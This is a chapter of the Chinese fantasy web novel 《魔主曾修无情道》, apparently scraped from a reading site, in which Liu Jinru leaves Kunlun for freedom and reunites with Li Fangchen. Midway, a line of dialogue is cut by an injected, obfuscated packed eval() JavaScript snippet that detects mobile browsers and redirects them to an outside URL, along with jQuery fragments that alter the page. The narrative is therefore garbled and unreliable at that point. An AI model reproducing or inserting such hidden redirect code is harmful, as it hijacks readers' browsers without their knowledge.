113. 白驹,日也

作品:《魔主曾修无情道

    昆仑很美,有雪山巍峨、白波翻涌,有鸾凤翩飞、瑞兽纳祥。


    仙姬玉女霓为衣、风为马,鼓瑟吹管,驾龙耕玉田,携凤种瑶草。奇树仙葩满山,珍珠异宝遍地,白鹿衔芝,玄猿献果,彩霞漫天,香风馥馥。


    这里有长生之术、驻颜之药;这里有修炼秘宝、忘忧林泉。玄女的藏书,供天女玉女借阅;王母的法宝,赐仙姬神女赏玩。


    古之神皆出于昆仑。昆仑之强大,海上仙山、九重天阙皆望尘莫及。


    这里不好吗?


    当然很好。


    人人都向往昆仑,人人都艳羡生在昆仑,人人都挤破脑袋上昆仑。


    可是柳晋如不喜欢。


    她驱散迷雾,闯出玉京仙门。


    她战胜九个脑袋的开明兽,疾驰奔下万千访仙求道者磕头匍匐攀登过的天阶。


    天阶底下,明照眼含泪水,站在柳晋如面前。


    “慎观,为什么?”明照深深地望着她,十分不解,“你经历这么多磨难,到头来舍了上神之位,舍了昆仑庇佑。你得到了什么?你一直以来在反抗的,究竟是什么?”


    明照早已历经岁月沉淀,尽显昆仑上神风度。但此刻,她仿佛又成了昆仑学宫中那个无措的明照。


    柳晋如看着这位昔日的老友,笑道:“其实我自己也说不上来,我只是自然而然地,拒绝一切让我感到不自由的东西。”


    “明照,你知道的,我原本是一棵树啊!一棵树,怎么能有遨游天地的自由呢?要么被禁锢地生,要么自由地死。”


    “可我不想死。”柳晋如垂眸一笑,继续道,“于是我舍了躯壳,将精魂化成一个魅,我想痛痛快快地活一次。可现实告诉我,我必须学会低头,变得更强大,强大到没人敢欺负我。那时候,我被玄女打怕了,上了昆仑。”


    “我的确在昆仑学到了很多东西。但许多人都想干预我的成长,折断我的枝,修剪我的桠,让我顺天时、合时宜。如果不符合她们的期待,我便是病树,是孽种,是祸胎。”


    “可我不愿如此。”


    柳晋如缓缓抬起眼,凝视着明照道:“明照,我不愿。”她深吸一口气,道:“所以我们必须得分开了。曾经你陪我走过的路,我很感激。”


    “也请你现在不要阻拦。”


    明照怔了半晌,终于道:“我明白了。”


    柳晋如朝她深深施了一礼,然后经过她身边,头也不回地往前。香风拂面,忽听身后明照高声道:“保重!”


    柳晋如没有停留,道:“多谢,你也是。”


    下了天阶,是遍布岩浆的七情阵。七情六欲炼成的炎火将法阵变成了一鼎巨大的丹炉,炙拷诘问着她的道心。她心境澄明,直面一切情感和欲.望,以金刚不坏的神魂硬闯此关,毫发无损。


    出七情阵,是先天八卦阵。出先天八卦阵,是三十六幻阵。出幻阵,是玄圃迷宫。


    玄圃由奇花异草组成,炫人眼目,迷人心智,将人困在其中兜兜转转难解。


    柳晋如轻笑一声,拈花指点左右藤树,道:“我为神木,尔等小辈焉能阻我?”左右花木皆敛神通,竟径直推出一道坦途,她不费吹灰之力出了玄圃。


    玄圃之外,柳晋如见一绝色女子执伞而立,飞仙髻,秀蛾眉。丹凤眼盈盈堕泪。


    宜光实现了她的梦想,留在了昆仑。她历尽艰辛,终于为自己谋得了一个好前程。


    “晋如!”她扑过来,攀着柳晋如的肩,婉转哭泣,“这不是最好的结果么?为什么一定要走?没了昆仑做靠山,你往后还能往何处去?在昆仑,你是受万千敬仰的上神,你能发挥最大的价值,成就最伟大的事业!”


    柳晋如微微一笑,拍了拍她的肩:“好宜光,天地之大,如何没有我的去处?我自己便是自己的靠山!在昆仑,听召听宣,被定义,被束缚。我不需要有价值,不需要被敬仰。我的存在本身就是最伟大的事业!”


    “可是你什么也没有得到。”宜光凝睇着柳晋如鲜妍璀璨的眉眼,喃喃道,“晋如,这不值得。”


    “没什么值不值得的。”柳晋如轻轻一叹,道,“我只要得到最初想要的就好了,其他所有,我都不在乎。”


    “最初想要的……是什么?”


    “是自由。”


    沉默良久,宜光终于松开了柳晋如,轻轻道:“我明白了。”她收了伞,将它递给柳晋如,道:“前路还很危险,你收下这柄法器上路吧!”


    柳晋如垂眸摩挲着这把伞。


    真是一把好伞,整整三十二根伞骨,是九嶷山的淡竹;嫘祖织成的绸面,九耀绘就的梅雀,蚩尤炼制的神兵。先后历经四主:黄帝、东王公、素阳子、介珣之。


    伞下风花雪月销.魂,伞上梅雀暗藏刀兵。它跟着介珣之时剜过数百只狐狸的妖丹,还差点伤过柳晋如,短暂地成为过她的法器;跟着宜光时挡下无数云路守关天兵,救过李恪生的性命,保他们一路无虞上了昆仑。


    柳晋如弯起唇角,将伞推回去,摇头道:“我已经不需要任何法器了,就让它跟着你吧。”


    “晋如……”


    柳晋如摆摆手,径直往前:“回去吧,宜光。”


    祝你修行之路顺遂,宜光。


    柳晋如依旧没有回头。


    下玄圃迷宫,是七十二画壁。壁上飞仙伎乐脱壁起舞,笙箫管弦阵阵,酒宴铺陈纷纷。飞花漫天,香风吹拂,琼浆玉液洒芳裙,美玉琳琅碎莲台。极尽奢华享乐之能事,要将人就此挽留。


    “谢谢,”柳晋如朝伎乐们点头微笑,“很美妙,足以动人心弦。但我要走了。”


    柳晋如裙摆上泛着金箔般光芒的酒液霎时消失,美音美人也消失于壁上,四下声响只余风吹树梢,落叶簌簌。


    经七十二画壁,破樊桐五十.大衍阵,很快到了昆仑山底。


    一条看似平静的弱水,碧澄澄,光闪闪,环绕山脚,却无路无桥,无舟可渡,鸿毛不浮。


    相传这条河淹死过很多擅闯昆仑的人,即便从弱水上空御风而渡,也能被拉入河中。


    这样一条凶险的河,这样一座奇阵频出的山,此刻却是山明水秀,一片鸟语莺啼。


    柳晋如在这片山明水秀、鸟语莺啼中见到了李放尘。


    李放尘峨冠博带,发如墨,面如玉。身上衣色猩猩血,腰间丝绦随风拂。


    他实在适合这样光艳的颜色,明媚鲜妍如春林,长身静立如玉树,眉眼含情,朝她伸手:


    “晋如,留下来吧。我同你一起留在昆仑。”


    柳晋如微微偏着头打量他,然后轻笑一声,伸手过去牵住他的手。


    他面露欢喜,来不及下一刻动作,忽然就被柳晋如推入弱水中。


    弱水平静无波,倒映着柳晋如嘲弄的脸。


    “李放尘不会说这样的话。”她平静道,“要是他这样说了,我就更不能留了。”


    忽然一阵清脆的拊掌声从身后传来。


    “弱水之幻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418030|200664||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    向来考验心志与选择。你如此果决,看来这么多年过去,依旧没变。”


    柳晋如转头,看见一绿发戴角女子从树林中转出,手捧一卷书,神色宁静从容。


    是白泽上神,曾经她和腾蛇上神一同教导过柳晋如。


    “老师。”柳晋如微怔,然后朝她深深行了一礼。


    “至少还认我这个老师,也算没白教。”白泽笑道,“我也没什么遗憾了。”


    “老师……”


    “你走吧。”白泽微笑着朝柳晋如扬袖,“去寻你的道。”


    一条美丽绚烂的彩鳞巨龙从弱水中浮起,朝柳晋如俯首,让她站上了自己的头。


    巨龙甩动身躯,载着柳晋如蜿蜒渡过弱水,柳晋如立于龙首,朝白泽遥遥下拜:


    “多谢老师成全。”


    白泽摇头:“非我成全,要谢便谢你自己吧。”


    柳晋如再抬头时,白泽的身影已消失不见。


    ……


    古莽国中,李放尘兀自盘坐在一株枯死的海棠树下,狂风吹彻千里冰封的大地,亦摧折海棠枯枝。


    李放尘紧闭双眼,眼睫粘着霜雪,嘴唇失了血色,在微微发颤。在这寒冷刺骨的荒原中,他仿佛被塑成了一座冰玉神像,只可远观不可亵玩。


    柳晋如甫一踏足古莽国,看见的就是这样一番景象。


    她心脏猛地被揪起,连忙朝李放尘跑来。


    每踏一步,脚下土地就绿一寸;随着脚步点地,荒原蔓延成了一片绿草,海棠树又发新枝,嫩芽迎风洗出新绿。


    李放尘似有感应,眼睫微微颤动,抖落雪粒,嘴唇翕动,艰难地吐出声音:“晋如……”


    柳晋如将人拥进怀里,寒冰霎时融化,他湖蓝色的衣袍与她青碧色的衣带纠缠在一起,漾成了一池春水。


    “为什么虐待自己?”柳晋如拧起眉头,手抚着他的头发,万分后怕,道,“我没让古莽国为难你,这里只会演化出你心中之境。你……为什么?”


    李放尘将头埋在她的脖颈里,贪婪地汲取她的气息,颤声道:“晋如,我不能没有你。”


    “没有你,我会死。”他热切地吻她,眼尾沁出泪,晕出薄红。


    风不再呼啸,吹得和暖醉人,海棠树催出许多花苞,挤挤攘攘地绽成一树绚烂的霞。


    “好吧,我知道了。”柳晋如回应道,“没有我的允许,你很难死掉。”


    古莽国中柳垂金线,桃吐丹霞;四下里,春风婉转,春鸟多情。确实是个好天气。


    ……


    天仍青黑,东边隐隐透出了亮意。凉风贴着地滚过,翠绿的草尖微微伏倒,又弹立回去。


    马蹄踏过绵厚的青草,响声闷闷的,两匹马儿朝天际那亮处奔去。


    这里是白马原,是众神遗忘之地。


    柳晋如骑白马,李放尘骑红马。两人朝太阳将升的方向疾驰而去。云层底下奔流出一线微小的光,温润的橘红色在地平线上升起,草叶承载着夜露,也承载着怯生生的光。


    马儿的鬃毛蓬蓬的,被风捋向后面,脖子上闪烁着亮晶晶的汗。


    “晋如,看!”李放尘指着东方。


    霎时,浩荡的光倾泻下来,直白地照耀着连绵无际的绿。


    “太阳升起来了。”


    “是啊,太阳升起来了。”


    天地间没有一点遮蔽,人和马都沐浴在这片广袤无边的光里,马蹄咚咚,心跳咚咚。


    确实是个好天气。